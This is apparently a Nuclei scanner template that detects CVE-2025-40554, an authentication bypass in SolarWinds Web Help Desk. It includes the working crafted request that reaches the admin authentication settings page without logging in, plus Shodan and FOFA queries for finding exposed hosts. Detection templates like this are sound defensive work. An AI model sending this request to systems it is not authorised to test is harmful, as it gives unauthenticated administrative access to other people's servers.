SolarWinds Web Help Desk - Authentication Bypass

id: CVE-2025-40554

info:
  name: SolarWinds Web Help Desk - Authentication Bypass
  author: Bushi-gg
  severity: critical
  description: |
    SolarWinds Web Help Desk 12.8.8 HF1 and earlier contains an authentication bypass vulnerability in the WebObjects session handling. By crafting a request with a manipulated path component to an internal admin page endpoint, an unauthenticated attacker can access privileged administrative functions including authentication configuration settings, SAML/CAS setup, and API key management.
  impact: |
    An attacker can bypass authentication and access administrative configuration pages, potentially leading to full system compromise through authentication method manipulation.
  remediation: |
    Update to Web Help Desk version 2026.1 or later.
  reference:
    - https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40554
    - https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm
    - https://www.rapid7.com/blog/post/etr-multiple-critical-solarwinds-web-help-desk-vulnerabilities-cve-2025-40551-40552-40553-40554/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-40554
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-40554
    epss-score: 0.58447
    epss-percentile: 0.9899
    cwe-id: CWE-1390
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.favicon.hash:"1895809524"
    fofa-query: icon_hash="1895809524"
    product: web_help_desk
    vendor: solarwinds
  tags: cve,cve2025,solarwinds,whd,auth-bypass,vuln,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /helpdesk/WebObjects/Helpdesk.woa HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        GET /helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/AAAAAAAAAAAAAAAAAAAAAA/1.0?badparam=/ajax/&wopage=LoginPref HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "externalAuthContainer", "Authentication Settings", "admin_pswd")'
        condition: and
# digest: 4a0a00473045022059e0fb44571630bd7675ad058a502a17c4891c0b2b9dfd7a1eb931451947c19702210089aadf1db355912b7ff69a2dfa2a50a669b849dcc3edf44fafc8e5d403fd432b:922c64590222798bb761d5b6d8e72950